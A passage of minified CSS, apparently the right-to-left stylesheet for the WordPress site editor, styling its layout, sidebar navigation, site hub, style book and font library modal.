div{color:#949494}.edit-site-create-template-part-modal__area-radio-group .components-button.edit-site-create-template-part-modal__area-radio .edit-site-create-template-part-modal__option-label{padding-top:4px;white-space:normal}.edit-site-create-template-part-modal__area-radio-group .components-button.edit-site-create-template-part-modal__area-radio .edit-site-create-template-part-modal__option-label div{font-size:12px;padding-top:4px}.edit-site-create-template-part-modal__area-radio-group .components-button.edit-site-create-template-part-modal__area-radio .edit-site-create-template-part-modal__checkbox{margin-right:auto;min-width:24px}.edit-site-editor__inserter-panel,.edit-site-editor__list-view-panel{display:flex;flex-direction:column;height:100%}@media (min-width:782px){.edit-site-editor__list-view-panel{width:350px}}.edit-site-editor__inserter-panel-header{display:flex;justify-content:flex-end;padding-left:8px;padding-top:8px}.edit-site-editor__inserter-panel-content,.edit-site-editor__list-view-panel-content{height:calc(100% - 44px)}@media (min-width:782px){.edit-site-editor__inserter-panel-content{height:100%}}.edit-site-editor__list-view-panel-header{align-items:center;border-bottom:1px solid #ddd;display:flex;height:48px;justify-content:space-between;padding-left:4px;padding-right:16px}.edit-site-editor__list-view-panel-content{height:100%;overflow:auto;padding:8px 6px;scrollbar-color:transparent transparent;scrollbar-gutter:stable both-edges;scrollbar-gutter:auto;scrollbar-width:thin;will-change:transform}.edit-site-editor__list-view-panel-content::-webkit-scrollbar{height:12px;width:12px}.edit-site-editor__list-view-panel-content::-webkit-scrollbar-track{background-color:transparent}.edit-site-editor__list-view-panel-content::-webkit-scrollbar-thumb{background-clip:padding-box;background-color:transparent;border:3px solid transparent;border-radius:8px}.edit-site-editor__list-view-panel-content:focus-within::-webkit-scrollbar-thumb,.edit-site-editor__list-view-panel-content:focus::-webkit-scrollbar-thumb,.edit-site-editor__list-view-panel-content:hover::-webkit-scrollbar-thumb{background-color:#949494}.edit-site-editor__list-view-panel-content:focus,.edit-site-editor__list-view-panel-content:focus-within,.edit-site-editor__list-view-panel-content:hover{scrollbar-color:#949494 transparent}@media (hover:none){.edit-site-editor__list-view-panel-content{scrollbar-color:#949494 transparent}}.edit-site-welcome-guide{width:312px}.edit-site-welcome-guide.guide-editor .edit-site-welcome-guide__image .edit-site-welcome-guide.guide-styles .edit-site-welcome-guide__image{background:#00a0d2}.edit-site-welcome-guide.guide-page .edit-site-welcome-guide__video{border-left:16px solid #3858e9;border-top:16px solid #3858e9}.edit-site-welcome-guide.guide-template .edit-site-welcome-guide__video{border-right:16px solid #3858e9;border-top:16px solid #3858e9}.edit-site-welcome-guide__image{margin:0 0 16px}.edit-site-welcome-guide__image>img{display:block;max-width:100%;object-fit:cover}.edit-site-welcome-guide__heading{font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;font-size:24px;line-height:1.4;margin:16px 0;padding:0 32px}.edit-site-welcome-guide__text{font-size:13px;line-height:1.4;margin:0 0 16px;padding:0 32px}.edit-site-welcome-guide__text img{vertical-align:bottom}.edit-site-welcome-guide__inserter-icon{margin:0 4px;vertical-align:text-top}.edit-site-start-template-options__modal .edit-site-start-template-options__modal__actions{background-color:#fff;border-top:1px solid #ddd;bottom:0;height:92px;margin-left:-32px;margin-right:-32px;padding-left:32px;padding-right:32px;position:absolute;width:100%;z-index:1}.edit-site-start-template-options__modal .block-editor-block-patterns-list{padding-bottom:92px}.edit-site-start-template-options__modal-content .block-editor-block-patterns-list{column-count:2;column-gap:24px}@media (min-width:782px){.edit-site-start-template-options__modal-content .block-editor-block-patterns-list{column-count:3}}@media (min-width:1280px){.edit-site-start-template-options__modal-content .block-editor-block-patterns-list{column-count:4}}.edit-site-start-template-options__modal-content .block-editor-block-patterns-list .block-editor-block-patterns-list__list-item{break-inside:avoid-column}.edit-site-start-template-options__modal-content .block-editor-block-patterns-list .block-editor-block-patterns-list__list-item .block-editor-block-patterns-list__item-title{display:none}.edit-site-start-template-options__modal-content .block-editor-block-patterns-list .block-editor-block-patterns-list__item:not(:focus):not(:hover) .block-editor-block-preview__container{box-shadow:0 0 0 1px #ddd}.edit-site-keyboard-shortcut-help-modal__section{margin:0 0 2rem}.edit-site-keyboard-shortcut-help-modal__section-title{font-size:.9rem;font-weight:600}.edit-site-keyboard-shortcut-help-modal__shortcut{align-items:baseline;border-top:1px solid #ddd;display:flex;margin-bottom:0;padding:.6rem 0}.edit-site-keyboard-shortcut-help-modal__shortcut:last-child{border-bottom:1px solid #ddd}.edit-site-keyboard-shortcut-help-modal__shortcut:empty{display:none}.edit-site-keyboard-shortcut-help-modal__shortcut-term{font-weight:600;margin:0 1rem 0 0;text-align:left}.edit-site-keyboard-shortcut-help-modal__shortcut-description{flex:1;flex-basis:auto;margin:0}.edit-site-keyboard-shortcut-help-modal__shortcut-key-combination{background:none;display:block;margin:0;padding:0}.edit-site-keyboard-shortcut-help-modal__shortcut-key-combination+.edit-site-keyboard-shortcut-help-modal__shortcut-key-combination{margin-top:10px}.edit-site-keyboard-shortcut-help-modal__shortcut-key{border-radius:8%;margin:0 .2rem;padding:.25rem .5rem}.edit-site-keyboard-shortcut-help-modal__shortcut-key:last-child{margin:0 .2rem 0 0}.edit-site-layout{background:#1e1e1e;color:#ccc;display:flex;flex-direction:column;height:100%}.edit-site-layout__hub{height:60px;position:fixed;right:0;top:0;width:calc(100vw - 48px);z-index:3}.edit-site-layout.is-full-canvas.is-edit-mode .edit-site-layout__hub{padding-left:0;width:60px}@media (min-width:782px){.edit-site-layout__hub{width:336px}}.edit-site-layout.is-full-canvas .edit-site-layout__hub{border-radius:0;box-shadow:none;padding-left:16px;width:100vw}@media (min-width:782px){.edit-site-layout.is-full-canvas .edit-site-layout__hub{padding-left:0;width:auto}}.edit-site-layout__header-container{z-index:4}.edit-site-layout__header{display:flex;height:60px;z-index:2}.edit-site-layout:not(.is-full-canvas) .edit-site-layout__header{position:fixed;width:100vw}.edit-site-layout__content{display:flex;flex-grow:1;height:100%}.edit-site-layout__sidebar-region{flex-shrink:0;width:100vw;z-index:1}@media (min-width:782px){.edit-site-layout__sidebar-region{width:360px}}.edit-site-layout.is-full-canvas .edit-site-layout__sidebar-region{height:100vh;position:fixed!important;right:0;top:0}.edit-site-layout__sidebar-region .edit-site-layout__sidebar{display:flex;flex-direction:column;height:100%}.edit-site-layout__sidebar-region .resizable-editor__drag-handle{left:0}.edit-site-layout__main{display:flex;flex-direction:column;flex-grow:1;overflow:hidden}.edit-site-layout__canvas-container{flex-grow:1;position:relative;z-index:2}.edit-site-layout__canvas-container.is-resizing:after{bottom:0;content:"";left:0;position:absolute;right:0;top:0;z-index:100}.edit-site-layout__canvas{align-items:center;bottom:0;display:flex;justify-content:center;position:absolute;right:0;top:0;width:100%}.edit-site-layout__canvas.is-right-aligned{justify-content:flex-end}.edit-site-layout__canvas>div{color:#1e1e1e}@media (min-width:782px){.edit-site-layout__canvas{bottom:24px;top:24px;width:calc(100% - 24px)}.edit-site-layout:not(.is-full-canvas) .edit-site-layout__canvas>div .edit-site-visual-editor__editor-canvas,.edit-site-layout:not(.is-full-canvas) .edit-site-layout__canvas>div .interface-interface-skeleton__content,.edit-site-layout__canvas>div{border-radius:8px}}.edit-site-layout.is-full-canvas .edit-site-layout__canvas{bottom:0;top:0;width:100%}.edit-site-layout.is-full-canvas .edit-site-layout__canvas>div{border-radius:0}.edit-site-layout__canvas .interface-interface-skeleton{min-height:100%!important;position:relative!important}.edit-site-layout__view-mode-toggle.components-button{align-items:center;border-bottom:1px solid transparent;border-radius:0;color:#fff;display:flex;height:60px;justify-content:center;overflow:hidden;padding:0;position:relative;width:60px}.edit-site-layout.is-full-canvas.is-edit-mode .edit-site-layout__view-mode-toggle.components-button{border-bottom-color:#e0e0e0;transition:border-bottom-color .15s ease-out .4s}.edit-site-layout__view-mode-toggle.components-button:active,.edit-site-layout__view-mode-toggle.components-button:hover{color:#fff}.edit-site-layout__view-mode-toggle.components-button:focus{box-shadow:none}.edit-site-layout__view-mode-toggle.components-button:before{border-radius:4px;bottom:9px;box-shadow:none;content:"";display:block;left:9px;position:absolute;right:9px;top:9px;transition:box-shadow .1s ease}@media (prefers-reduced-motion:reduce){.edit-site-layout__view-mode-toggle.components-button:before{transition-delay:0s;transition-duration:0s}}.edit-site-layout__view-mode-toggle.components-button:focus:before{box-shadow:inset 0 0 0 var(--wp-admin-border-width-focus) hsla(0,0%,100%,.1),inset 0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color)}.edit-site-layout__view-mode-toggle.components-button .edit-site-layout__view-mode-toggle-icon{align-items:center;border-radius:2px;display:flex;height:64px;justify-content:center;width:64px}.edit-site-layout__actions{background:#fff;bottom:auto;color:#1e1e1e;left:0;position:fixed!important;right:auto;top:-9999em;width:280px;z-index:100000}.edit-site-layout__actions:focus,.edit-site-layout__actions:focus-within{bottom:0;top:auto}.edit-site-layout__actions.is-entity-save-view-open:focus,.edit-site-layout__actions.is-entity-save-view-open:focus-within{top:0}@media (min-width:782px){.edit-site-layout__actions{border-right:1px solid #ddd}.edit-site-layout.has-fixed-toolbar .edit-site-layout__canvas-container{z-index:5}.edit-site-layout.has-fixed-toolbar .edit-site-site-hub{z-index:4}}@media (min-width:782px){.edit-site-layout.has-fixed-toolbar .edit-site-layout__header:focus-within{z-index:3}}.is-edit-mode.is-distraction-free .edit-site-layout__header-container{height:60px;left:0;position:absolute;right:0;top:0;width:100%;z-index:4}.is-edit-mode.is-distraction-free .edit-site-layout__header-container:focus-within{opacity:1!important}.is-edit-mode.is-distraction-free .edit-site-layout__header-container:focus-within div{transform:translateX(0) translateY(0) translateZ(0)!important}.is-edit-mode.is-distraction-free .edit-site-layout__header-container:focus-within .edit-site-layout__header{opacity:1!important}.is-edit-mode.is-distraction-free .edit-site-layout__header,.is-edit-mode.is-distraction-free .edit-site-site-hub{position:absolute;top:0;z-index:2}.is-edit-mode.is-distraction-free .edit-site-site-hub{z-index:3}.is-edit-mode.is-distraction-free .edit-site-layout__header{width:100%}.edit-site-save-hub{border-top:1px solid #2f2f2f;color:#949494;flex-shrink:0;margin:0;padding:20px 24px}.edit-site-save-hub__button{color:inherit;justify-content:center;width:100%}.edit-site-save-hub__button[aria-disabled=true]{opacity:1}.edit-site-save-hub__button[aria-disabled=true]:hover{color:inherit}@media (min-width:600px){.edit-site-save-panel__modal{width:600px}}.edit-site-sidebar__content{flex-grow:1;overflow-y:auto}.edit-site-sidebar__content .components-navigator-screen{display:flex;flex-direction:column;height:100%;scrollbar-color:transparent transparent;scrollbar-gutter:stable both-edges;scrollbar-gutter:stable;scrollbar-width:thin;will-change:transform}.edit-site-sidebar__content .components-navigator-screen::-webkit-scrollbar{height:12px;width:12px}.edit-site-sidebar__content .components-navigator-screen::-webkit-scrollbar-track{background-color:transparent}.edit-site-sidebar__content .components-navigator-screen::-webkit-scrollbar-thumb{background-clip:padding-box;background-color:transparent;border:3px solid transparent;border-radius:8px}.edit-site-sidebar__content .components-navigator-screen:focus-within::-webkit-scrollbar-thumb,.edit-site-sidebar__content .components-navigator-screen:focus::-webkit-scrollbar-thumb,.edit-site-sidebar__content .components-navigator-screen:hover::-webkit-scrollbar-thumb{background-color:#757575}.edit-site-sidebar__content .components-navigator-screen:focus,.edit-site-sidebar__content .components-navigator-screen:focus-within,.edit-site-sidebar__content .components-navigator-screen:hover{scrollbar-color:#757575 transparent}@media (hover:none){.edit-site-sidebar__content .components-navigator-screen{scrollbar-color:#757575 transparent}}.edit-site-sidebar__footer{border-top:1px solid #2f2f2f;flex-shrink:0;margin:0 24px;padding:24px 0}.edit-site-sidebar__content>div{padding:0 12px}.edit-site-sidebar-button{color:#e0e0e0;flex-shrink:0}.edit-site-sidebar-button:focus:not(:disabled){box-shadow:none;outline:none}.edit-site-sidebar-button:focus-visible:not(:disabled){box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-components-color-accent,var(--wp-admin-theme-color,#007cba));outline:3px solid transparent}.edit-site-sidebar-button:focus,.edit-site-sidebar-button:focus-visible,.edit-site-sidebar-button:hover,.edit-site-sidebar-button:not([aria-disabled=true]):active,.edit-site-sidebar-button[aria-expanded=true]{color:#f0f0f0}.edit-site-sidebar-navigation-item.components-item{border:none;border-radius:2px;color:#949494;min-height:40px;padding:8px 16px 8px 6px}.edit-site-sidebar-navigation-item.components-item:focus,.edit-site-sidebar-navigation-item.components-item:hover,.edit-site-sidebar-navigation-item.components-item[aria-current]{background:#2f2f2f;color:#e0e0e0}.edit-site-sidebar-navigation-item.components-item:focus .edit-site-sidebar-navigation-item__drilldown-indicator,.edit-site-sidebar-navigation-item.components-item:hover .edit-site-sidebar-navigation-item__drilldown-indicator,.edit-site-sidebar-navigation-item.components-item[aria-current] .edit-site-sidebar-navigation-item__drilldown-indicator{fill:#e0e0e0}.edit-site-sidebar-navigation-item.components-item[aria-current]{background:var(--wp-admin-theme-color);color:#fff}.edit-site-sidebar-navigation-item.components-item .edit-site-sidebar-navigation-item__drilldown-indicator{fill:#949494}.edit-site-sidebar-navigation-item.components-item.with-suffix{padding-left:16px}.edit-site-sidebar-navigation-screen__content .block-editor-list-view-block-select-button{cursor:grab;padding:8px}.edit-site-sidebar-navigation-screen{display:flex;flex-direction:column;overflow-x:unset!important;position:relative}.edit-site-sidebar-navigation-screen__main{flex-grow:1;margin-bottom:16px}.edit-site-sidebar-navigation-screen__main.has-footer{margin-bottom:0}.edit-site-sidebar-navigation-screen__content{padding:0 16px}.edit-site-sidebar-navigation-screen__content .components-item-group{margin-left:-16px;margin-right:-16px}.edit-site-sidebar-navigation-screen__content .components-text{color:#ccc}.edit-site-sidebar-navigation-screen__content .components-heading{margin-bottom:8px}.edit-site-sidebar-navigation-screen__meta{color:#ccc;margin:0 16px 16px 0}.edit-site-sidebar-navigation-screen__meta .components-text{color:#ccc}.edit-site-sidebar-navigation-screen__page-link{color:#949494;display:inline-block}.edit-site-sidebar-navigation-screen__page-link:focus,.edit-site-sidebar-navigation-screen__page-link:hover{color:#fff}.edit-site-sidebar-navigation-screen__page-link .components-external-link__icon{margin-right:4px}.edit-site-sidebar-navigation-screen__title-icon{background:#1e1e1e;margin-bottom:8px;padding-bottom:8px;padding-top:108px;position:sticky;top:0;z-index:1}.edit-site-sidebar-navigation-screen__title{flex-grow:1;overflow-wrap:break-word;padding:6px 0 0}.edit-site-sidebar-navigation-screen__actions{flex-shrink:0}@media (min-width:782px){.edit-site-sidebar-navigation-screen__content .edit-site-global-styles-style-variations-container{max-width:292px}}.edit-site-sidebar-navigation-screen__content .edit-site-global-styles-style-variations-container .edit-site-global-styles-variations_item-preview{box-shadow:0 0 0 1px #1e1e1e}.edit-site-sidebar-navigation-screen__content .edit-site-global-styles-style-variations-container .edit-site-global-styles-variations_item.is-active .edit-site-global-styles-variations_item-preview{box-shadow:0 0 0 1px #f0f0f0}.edit-site-sidebar-navigation-screen__content .edit-site-global-styles-style-variations-container .edit-site-global-styles-variations_item:hover .edit-site-global-styles-variations_item-preview{box-shadow:0 0 0 1px var(--wp-admin-theme-color)}.edit-site-sidebar-navigation-screen__content .edit-site-global-styles-style-variations-container .edit-site-global-styles-variations_item:focus .edit-site-global-styles-variations_item-preview{box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color)}.edit-site-sidebar-navigation-screen__footer{background-color:#1e1e1e;border-top:1px solid #2f2f2f;bottom:0;gap:0;margin:16px 0 0;padding:16px 0;position:sticky}.edit-site-sidebar__notice{background:#2f2f2f;color:#ddd;margin:24px 0}.edit-site-sidebar__notice.is-dismissible{padding-left:8px}.edit-site-sidebar__notice .components-notice__dismiss:not(:disabled):not([aria-disabled=true]){color:#ccc}.edit-site-sidebar__notice .components-notice__dismiss:not(:disabled):not([aria-disabled=true]):focus,.edit-site-sidebar__notice .components-notice__dismiss:not(:disabled):not([aria-disabled=true]):not(.is-secondary):active,.edit-site-sidebar__notice .components-notice__dismiss:not(:disabled):not([aria-disabled=true]):not(.is-secondary):hover{color:#fff}.edit-site-sidebar-navigation-screen__input-control{width:100%}.edit-site-sidebar-navigation-screen__input-control .components-input-control__container{background:#2f2f2f}.edit-site-sidebar-navigation-screen__input-control .components-input-control__container .components-button{color:#e0e0e0!important}.edit-site-sidebar-navigation-screen__input-control .components-input-control__input{background:#2f2f2f!important;border-radius:2px;color:#e0e0e0!important}.edit-site-sidebar-navigation-screen__input-control .components-input-control__backdrop{border:4px!important}.edit-site-sidebar-navigation-screen__input-control .components-base-control__help{color:#949494}.edit-site-sidebar-navigation-screen-details-footer div.edit-site-sidebar-navigation-item.components-item:focus,.edit-site-sidebar-navigation-screen-details-footer div.edit-site-sidebar-navigation-item.components-item:hover,.edit-site-sidebar-navigation-screen-details-footer div.edit-site-sidebar-navigation-item.components-item[aria-current]{background:none}.edit-site-sidebar-navigation-screen-details-footer .edit-site-sidebar-navigation-screen-details-footer__icon{fill:#949494;margin-right:auto}.sidebar-navigation__more-menu .components-button{color:#e0e0e0}.sidebar-navigation__more-menu .components-button:focus,.sidebar-navigation__more-menu .components-button:hover,.sidebar-navigation__more-menu .components-button[aria-current]{color:#f0f0f0}.edit-site-sidebar-navigation-screen-page__featured-image-wrapper{background-color:#2f2f2f;border-radius:4px;margin-bottom:16px;min-height:128px}.edit-site-sidebar-navigation-screen-page__featured-image{align-items:center;background-position:50% 50%;background-size:cover;border-radius:2px;color:#949494;display:flex;height:128px;justify-content:center;overflow:hidden;width:100%}.edit-site-sidebar-navigation-screen-page__featured-image img{height:100%;object-fit:cover;object-position:50% 50%;width:100%}.edit-site-sidebar-navigation-screen-page__featured-image-description{font-size:12px}.edit-site-sidebar-navigation-screen-page__excerpt{font-size:12px;margin-bottom:24px}.edit-site-sidebar-navigation-screen-page__modified{color:#949494;margin:0 16px 16px 0}.edit-site-sidebar-navigation-screen-page__modified .components-text{color:#949494}.edit-site-sidebar-navigation-screen-page__status{display:inline-flex}.edit-site-sidebar-navigation-screen-page__status time{display:contents}.edit-site-sidebar-navigation-screen-page__status svg{fill:#f0b849;height:16px;margin-left:8px;width:16px}.edit-site-sidebar-navigation-screen-page__status.has-future-status svg,.edit-site-sidebar-navigation-screen-page__status.has-publish-status svg{fill:#4ab866}.edit-site-sidebar-navigation-details-screen-panel{margin:24px 0}.edit-site-sidebar-navigation-details-screen-panel:last-of-type{margin-bottom:0}.edit-site-sidebar-navigation-details-screen-panel .edit-site-sidebar-navigation-details-screen-panel__heading{color:#ccc;font-size:11px;font-weight:500;margin-bottom:0;padding:0;text-transform:uppercase}.edit-site-sidebar-navigation-details-screen-panel__label.edit-site-sidebar-navigation-details-screen-panel__label{color:#949494;flex-shrink:0;width:100px}.edit-site-sidebar-navigation-details-screen-panel__value.edit-site-sidebar-navigation-details-screen-panel__value{color:#e0e0e0}.edit-site-sidebar-navigation-screen-pattern__added-by-description{align-items:center;display:flex;justify-content:space-between;margin-top:24px}.edit-site-sidebar-navigation-screen-pattern__added-by-description-author{align-items:center;display:inline-flex}.edit-site-sidebar-navigation-screen-pattern__added-by-description-author img{border-radius:12px}.edit-site-sidebar-navigation-screen-pattern__added-by-description-author svg{fill:#949494}.edit-site-sidebar-navigation-screen-pattern__added-by-description-author-icon{height:24px;margin-left:8px;width:24px}.edit-site-sidebar-navigation-screen-patterns__group{margin-bottom:24px}.edit-site-sidebar-navigation-screen-patterns__group:last-of-type{border-bottom:0;margin-bottom:0;padding-bottom:0}.edit-site-sidebar-navigation-screen-patterns__group-header{margin-top:16px}.edit-site-sidebar-navigation-screen-patterns__group-header p{color:#949494}.edit-site-sidebar-navigation-screen-patterns__group-header h2{font-size:11px;font-weight:500;text-transform:uppercase}.edit-site-sidebar-navigation-screen-template__added-by-description{align-items:center;display:flex;justify-content:space-between;margin-top:24px}.edit-site-sidebar-navigation-screen-template__added-by-description-author{align-items:center;display:inline-flex}.edit-site-sidebar-navigation-screen-template__added-by-description-author img{border-radius:12px}.edit-site-sidebar-navigation-screen-template__added-by-description-author svg{fill:#949494}.edit-site-sidebar-navigation-screen-template__added-by-description-author-icon{height:24px;margin-left:8px;width:24px}.edit-site-sidebar-navigation-screen-template__template-area-button{align-items:center;border-radius:4px;color:#fff;display:flex;flex-wrap:nowrap;width:100%}.edit-site-sidebar-navigation-screen-template__template-area-button:focus,.edit-site-sidebar-navigation-screen-template__template-area-button:hover{background:#2f2f2f;color:#fff}.edit-site-sidebar-navigation-screen-template__template-area-label-text{flex-grow:1;margin:0 4px 0 16px}.edit-site-sidebar-navigation-screen-template__template-icon{display:flex}.edit-site-site-hub{align-items:center;display:flex;gap:8px;justify-content:space-between}.edit-site-site-hub .edit-site-site-hub__container{gap:0}.edit-site-site-hub .edit-site-site-hub__site-title,.edit-site-site-hub .edit-site-site-hub_toggle-command-center{transition:opacity .1s ease}.edit-site-site-hub .edit-site-site-hub__site-title.is-transparent,.edit-site-site-hub .edit-site-site-hub_toggle-command-center.is-transparent{opacity:0!important}.edit-site-site-hub .edit-site-site-hub__site-view-link{flex-grow:0;margin-left:var(--wp-admin-border-width-focus)}@media (min-width:480px){.edit-site-site-hub .edit-site-site-hub__site-view-link{opacity:0;transition:opacity .2s ease-in-out}}.edit-site-site-hub .edit-site-site-hub__site-view-link:focus{opacity:1}.edit-site-site-hub .edit-site-site-hub__site-view-link svg{fill:#e0e0e0}.edit-site-site-hub:hover .edit-site-site-hub__site-view-link{opacity:1}.edit-site-site-hub__post-type{opacity:.6}.edit-site-site-hub__view-mode-toggle-container{background:#1e1e1e;flex-shrink:0;height:60px;width:60px}.edit-site-site-hub__view-mode-toggle-container.has-transparent-background{background:transparent}.edit-site-site-hub__text-content{overflow:hidden}.edit-site-site-hub__title{overflow:hidden;text-overflow:ellipsis;white-space:nowrap}.edit-site-site-hub__site-title{color:#e0e0e0;flex-grow:1;margin-right:4px}.edit-site-site-hub_toggle-command-center{color:#e0e0e0}.edit-site-site-hub_toggle-command-center:hover{color:#f0f0f0}.edit-site-sidebar-navigation-screen__description{margin:0 0 32px}.edit-site-sidebar-navigation-screen-navigation-menus__content .offcanvas-editor-list-view-leaf{border-radius:2px;max-width:calc(100% - 4px)}.edit-site-sidebar-navigation-screen-navigation-menus__content .offcanvas-editor-list-view-leaf:focus,.edit-site-sidebar-navigation-screen-navigation-menus__content .offcanvas-editor-list-view-leaf:hover,.edit-site-sidebar-navigation-screen-navigation-menus__content .offcanvas-editor-list-view-leaf[aria-current]{background:#2f2f2f}.edit-site-sidebar-navigation-screen-navigation-menus__content .offcanvas-editor-list-view-leaf .block-editor-list-view-block__menu{margin-right:-8px}.edit-site-sidebar-navigation-screen-navigation-menus__content .offcanvas-editor-list-view-leaf.is-selected>td{background:transparent}.edit-site-sidebar-navigation-screen-navigation-menus__content .offcanvas-editor-list-view-leaf.is-selected .block-editor-list-view-block-contents{color:inherit}.edit-site-sidebar-navigation-screen-navigation-menus__content .offcanvas-editor-list-view-leaf.is-selected:not(:hover) .block-editor-list-view-block__menu{opacity:0}.edit-site-sidebar-navigation-screen-navigation-menus__content .offcanvas-editor-list-view-leaf.is-selected:focus,.edit-site-sidebar-navigation-screen-navigation-menus__content .offcanvas-editor-list-view-leaf.is-selected:hover{color:#fff}.edit-site-sidebar-navigation-screen-navigation-menus__content .offcanvas-editor-list-view-leaf.is-selected .block-editor-list-view-block__menu,.edit-site-sidebar-navigation-screen-navigation-menus__content .offcanvas-editor-list-view-leaf.is-selected:focus .block-editor-list-view-block__menu-cell,.edit-site-sidebar-navigation-screen-navigation-menus__content .offcanvas-editor-list-view-leaf.is-selected:hover .block-editor-list-view-block__menu-cell{opacity:1}.edit-site-sidebar-navigation-screen-navigation-menus__content .offcanvas-editor-list-view-leaf .block-editor-list-view-block-contents:focus:after,.edit-site-sidebar-navigation-screen-navigation-menus__content .offcanvas-editor-list-view-leaf.is-selected .block-editor-list-view-block__menu:focus{box-shadow:inset 0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color)}.edit-site-sidebar-navigation-screen-navigation-menus__content .offcanvas-editor-list-view-leaf.is-branch-selected:not(.is-selected):not(.is-synced-branch){background:transparent}.edit-site-sidebar-navigation-screen-navigation-menus__content .offcanvas-editor-list-view-leaf.is-branch-selected:not(.is-selected):not(.is-synced-branch):hover{background:#2f2f2f}.edit-site-sidebar-navigation-screen-navigation-menus__content .block-editor-list-view-leaf .block-editor-list-view-block__contents-cell{width:100%}.edit-site-sidebar-navigation-screen-navigation-menus__content .block-editor-list-view-leaf .block-editor-list-view-block-contents{white-space:normal}.edit-site-sidebar-navigation-screen-navigation-menus__content .block-editor-list-view-block__title{margin-top:3px}.edit-site-sidebar-navigation-screen-navigation-menus__content .block-editor-list-view-block__menu-cell{padding-left:0}.edit-site-sidebar-navigation-screen-navigation-menus__content .components-button{color:#949494}.edit-site-sidebar-navigation-screen-navigation-menus__content .components-button:focus,.edit-site-sidebar-navigation-screen-navigation-menus__content .components-button:hover,.edit-site-sidebar-navigation-screen-navigation-menus__content .components-button[aria-current]{color:#fff}.edit-site-sidebar-navigation-screen-navigation-menus__loading.components-spinner{display:block;margin-left:auto;margin-right:auto}.edit-site-sidebar-navigation-screen-navigation-menus__helper-block-editor{display:none}.edit-site-site-icon__icon{fill:currentColor}.edit-site-site-icon__image{background:#333;border-radius:4px;height:auto;object-fit:cover;width:100%}.edit-site-layout.is-full-canvas.is-edit-mode .edit-site-site-icon__image{border-radius:0}.edit-site-style-book{height:100%}.edit-site-style-book.is-button,.edit-site-style-book__iframe.is-button{border-radius:8px}.edit-site-style-book__iframe.is-focused{outline:calc(var(--wp-admin-border-width-focus)*2) solid var(--wp-admin-theme-color);outline-offset:calc(var(--wp-admin-border-width-focus)*-2)}.edit-site-style-book__tab-panel .components-tab-panel__tabs{background:#fff;color:#1e1e1e}.edit-site-style-book__tab-panel .components-tab-panel__tab-content{bottom:0;left:0;overflow:auto;padding:0;position:absolute;right:0;top:48px}.edit-site-editor-canvas-container{background:#fff;border-radius:2px;bottom:0;left:0;overflow:hidden;position:absolute;right:0;top:0;transition:all .3s}.edit-site-editor-canvas-container__close-button{background:#fff;left:8px;position:absolute;top:6px;z-index:1}.edit-site-resizable-frame__inner{position:relative}body:has(.edit-site-resizable-frame__inner.is-resizing){cursor:col-resize;user-select:none;-webkit-user-select:none}.edit-site-resizable-frame__inner.is-resizing:before{content:"";inset:0;position:absolute;z-index:1}.edit-site-resizable-frame__inner-content{inset:0;position:absolute;z-index:0}.edit-site-resizable-frame__handle{align-items:center;background-color:hsla(0,0%,46%,.4);border:0;border-radius:4px;cursor:col-resize;display:flex;height:64px;justify-content:flex-end;padding:0;position:absolute;top:calc(50% - 32px);width:4px;z-index:100}.edit-site-resizable-frame__handle:before{content:"";height:100%;position:absolute;right:100%;width:32px}.edit-site-resizable-frame__handle:after{content:"";height:100%;left:100%;position:absolute;width:32px}.edit-site-resizable-frame__handle:focus-visible{outline:2px solid transparent}.edit-site-resizable-frame__handle.is-resizing,.edit-site-resizable-frame__handle:focus,.edit-site-resizable-frame__handle:hover{background-color:var(--wp-admin-theme-color)}.edit-site-push-changes-to-global-styles-control .components-button{justify-content:center;width:100%}@media (min-width:782px){.font-library-modal.font-library-modal{width:65vw}}.font-library-modal .components-modal__header{border-bottom:none}.font-library-modal .components-modal__content{padding-top:0}.font-library-modal .font-library-modal__subtitle{font-size:11px;font-weight:500;text-transform:uppercase}.font-library-modal__tab-layout main{padding-bottom:4rem}.font-library-modal__tab-layout footer{background-color:#fff;border-top:1px solid #e5e5e5;bottom:32px;margin:0 -32px -32px;padding:16px 32px;position:absolute;width:100%}.font-library-modal__fonts-grid .font-library-modal__fonts-grid__main{display:flex;flex-direction:column}.font-library-modal__font-card{border:1px solid #e5e5e5;height:auto;margin-top:-1px;padding:1rem}.font-library-modal__font-card .font-library-modal__font-card__name{font-weight:700}.font-library-modal__font-card .font-library-modal__font-card__count{color:#6e6e6e}.font-library-modal__library-font-variant{border:1px solid #e5e5e5;margin-top:-1px;padding:1rem}.font-library-modal__font-variant{border-bottom:1px solid #e5e5e5;padding-bottom:1rem}.font-library-modal__tab-panel [role=tablist]{background:#fff;border-bottom:1px solid #e6e6e6;margin:0 -32px;padding:0 16px;position:sticky;top:0;width:calc(100% + 64px);z-index:1}.font-library-modal__upload-area{align-items:center;background-color:#f0f0f0;display:flex;height:250px;justify-content:center;width:100%}.font-library-modal__local-fonts{margin:0 auto;width:80%}.font-library-modal__local-fonts .font-library-modal__upload-area__text{color:#6e6e6e}.font-library-modal__local-fonts .font-library-modal__upload-area__notice{margin:0}.font-library-modal__font-name{font-weight:700}.font-library-modal__font-filename{color:#6e6e6e}.font-library-modal__font-variant_demo-wrapper{overflow:hidden;position:relative;white-space:nowrap;width:100%}.font-library-modal__font-variant_demo-wrapper:after{background:linear-gradient(270deg,hsla(0,0%,100%,0),#fff);bottom:0;content:"";height:100%;left:0;position:absolute;width:30vw}.font-library__google-fonts-confirm{align-items:center;display:flex;justify-content:center}.font-library__google-fonts-confirm h3{font-size:1.4rem}.font-library__google-fonts-confirm .components-card{max-width:350px;min-width:250px;width:50%}.font-library-modal__font-collection__notice{margin:0}body.js #wpadminbar{display:none}body.js #wpbody{padding-top:0}body.js.appearance_page_gutenberg-template-parts,body.js.site-editor-php{background:#fff}body.js.appearance_page_gutenberg-template-parts #wpcontent,body.js.site-editor-php #wpcontent{padding-right:0}body.js.appearance_page_gutenberg-template-parts #wpbody-content,body.js.site-editor-php #wpbody-content{padding-bottom:0}body.js.appearance_page_gutenberg-template-parts #wpbody-content>div:not(.edit-site):not(#screen-meta),body.js.appearance_page_gutenberg-template-parts #wpfooter,body.js.site-editor-php #wpbody-content>div:not(.edit-site):not(#screen-meta),body.js.site-editor-php #wpfooter{display:none}body.js.appearance_page_gutenberg-template-parts 